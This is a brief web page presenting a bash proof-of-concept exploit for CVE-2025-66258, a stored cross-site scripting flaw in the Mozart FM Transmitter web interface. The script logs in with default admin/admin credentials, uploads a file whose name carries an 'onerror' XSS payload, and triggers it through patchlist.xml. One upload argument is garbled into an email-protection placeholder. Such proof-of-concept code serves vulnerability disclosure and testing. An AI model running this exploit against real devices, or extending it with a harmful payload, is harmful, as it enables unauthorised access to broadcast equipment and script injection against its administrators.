CVE-2025-66258: DB Electronica Mozart FM Transmitter存储型XSS漏洞

#!/bin/bash # CVE-2025-66258 PoC - Stored XSS in Mozart FM Transmitter # Affected: DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter TARGET="http://target-ip:8080" USERNAME="admin" PASSWORD="admin" # Generate malicious filename MALICIOUS_FILENAME='<img src=x onerror=alert("XSS")>.bin' # Step 1: Login to the web interface echo "[*] Logging in to Mozart FM Transmitter..." SESSION=$(curl -s -c cookies.txt -d "username=$USERNAME&password=$PASSWORD" "$TARGET/login" | grep -oP 'session=\K[^ ]+') # Step 2: Upload file with malicious filename echo "[*] Uploading file with malicious filename..." curl -s -b cookies.txt -X POST \ -F "[email protected];filename=$MALICIOUS_FILENAME" \ "$TARGET/upload" # Step 3: Trigger XSS by accessing patchlist.xml echo "[*] Triggering XSS via patchlist.xml..." curl -s -b cookies.txt "$TARGET/patchlist.xml" | grep "onerror" echo "[+] XSS payload injected successfully" echo "[+] Visit $TARGET/patchlist.xml in a browser to trigger the alert"